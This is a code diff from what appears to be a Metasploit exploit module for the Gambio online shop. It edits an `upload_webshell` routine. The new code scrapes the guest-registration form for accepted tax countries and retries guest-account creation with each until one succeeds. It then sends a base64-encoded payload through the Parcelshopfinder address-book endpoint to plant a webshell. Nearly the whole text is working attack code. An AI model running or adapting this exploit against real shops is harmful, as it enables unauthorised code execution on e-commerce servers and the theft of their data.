@@ -153,47 +153,63 @@ def upload_webshell
153
153
final_payload_b64 = Base64 . strict_encode64 ( final_payload )
154
154
155
155
# create guest user to get a valid session cookie
156
- res = send_request_cgi ( {
157
- 'method' => 'POST' ,
158
- 'uri' => normalize_uri ( target_uri . path , 'shop.php?do=CreateGuest/Proceed' ) ,
159
- 'keep_cookies' => true ,
160
- 'vars_post' => {
161
- 'firstname' => firstname ,
162
- 'lastname' => lastname ,
163
- 'email_address' => email ,
164
- 'email_address_confirm' => email ,
165
- 'b2b_status' => 0 ,
166
- 'company' => nil ,
167
- 'vat' => nil ,
168
- 'street_address' => Rex ::Text . rand_text_alpha_lower ( 8 ..12 ) ,
169
- 'postcode' => Rex ::Text . rand_text_numeric ( 5 ) ,
170
- 'city' => Rex ::Text . rand_text_alpha_lower ( 4 ..12 ) ,
171
- 'country' => 8 ,
172
- 'telephone' => Rex ::Text . rand_text_numeric ( 10 ) ,
173
- 'fax' => nil ,
174
- 'action' => 'process'
175
- }
156
+ # country variable should match with a configured tax country in the gambio admin panel
157
+ # grab the available tax country code settings from the CreateGuest form page
158
+ res = send_request_cgi! ( {
159
+ 'method' => 'GET' ,
160
+ 'uri' => normalize_uri ( target_uri . path , 'shop.php?do=CreateGuest' )
176
161
} )
177
- if res && res . code == 302
178
- res = send_request_cgi ( {
179
- 'method' => 'POST' ,
180
- 'uri' => normalize_uri ( target_uri . path , 'shop.php?do=Parcelshopfinder/AddAddressBookEntry' ) ,
181
- 'keep_cookies' => true ,
182
- 'vars_post' => {
183
- 'checkout_started' => 0 ,
184
- 'search' => final_payload_b64 ,
185
- 'street_address' => Rex ::Text . rand_text_alpha_lower ( 4 ..12 ) ,
186
- 'house_number' => Rex ::Text . rand_text_numeric ( 1 ..2 ) ,
187
- 'additional_info' => nil ,
188
- 'postcode' => Rex ::Text . rand_text_numeric ( 5 ) ,
189
- 'city' => Rex ::Text . rand_text_alpha_lower ( 8 ..12 ) ,
190
- 'country' => 'DE' ,
191
- 'firstname' => firstname ,
192
- 'lastname' => lastname ,
193
- 'postnumber' => Rex ::Text . rand_text_numeric ( 6 ) ,
194
- 'psf_name' => Rex ::Text . rand_text_alpha_lower ( 1 ..3 )
195
- }
196
- } )
162
+ if res && res . code == 200
163
+ html = res . get_html_document
164
+ unless html . blank?
165
+ country_tax_options = html . css ( 'select[@id="country"]' )
166
+ country_tax_options . css ( 'option' ) . each do |country |
167
+ print_status ( "code: #{ country [ 'value' ] } " )
168
+ res = send_request_cgi ( {
169
+ 'method' => 'POST' ,
170
+ 'uri' => normalize_uri ( target_uri . path , 'shop.php?do=CreateGuest/Proceed' ) ,
171
+ 'keep_cookies' => true ,
172
+ 'vars_post' => {
173
+ 'firstname' => firstname ,
174
+ 'lastname' => lastname ,
175
+ 'email_address' => email ,
176
+ 'email_address_confirm' => email ,
177
+ 'b2b_status' => 0 ,
178
+ 'company' => nil ,
179
+ 'vat' => nil ,
180
+ 'street_address' => Rex ::Text . rand_text_alpha_lower ( 8 ..12 ) ,
181
+ 'postcode' => Rex ::Text . rand_text_numeric ( 5 ) ,
182
+ 'city' => Rex ::Text . rand_text_alpha_lower ( 4 ..12 ) ,
183
+ 'country' => country [ 'value' ] ,
184
+ 'telephone' => Rex ::Text . rand_text_numeric ( 10 ) ,
185
+ 'fax' => nil ,
186
+ 'action' => 'process'
187
+ }
188
+ } )
189
+ next unless res && res . code == 302
190
+
191
+ res = send_request_cgi ( {
192
+ 'method' => 'POST' ,
193
+ 'uri' => normalize_uri ( target_uri . path , 'shop.php?do=Parcelshopfinder/AddAddressBookEntry' ) ,
194
+ 'keep_cookies' => true ,
195
+ 'vars_post' => {
196
+ 'checkout_started' => 0 ,
197
+ 'search' => final_payload_b64 ,
198
+ 'street_address' => Rex ::Text . rand_text_alpha_lower ( 4 ..12 ) ,
199
+ 'house_number' => Rex ::Text . rand_text_numeric ( 1 ..2 ) ,
200
+ 'additional_info' => nil ,
201
+ 'postcode' => Rex ::Text . rand_text_numeric ( 5 ) ,
202
+ 'city' => Rex ::Text . rand_text_alpha_lower ( 8 ..12 ) ,
203
+ 'country' => 'DE' ,
204
+ 'firstname' => firstname ,
205
+ 'lastname' => lastname ,
206
+ 'postnumber' => Rex ::Text . rand_text_numeric ( 6 ) ,
207
+ 'psf_name' => Rex ::Text . rand_text_alpha_lower ( 1 ..3 )
208
+ }
209
+ } )
210
+ break
211
+ end
212
+ end
197
213
end
198
214
res
199
215
end
0 commit comments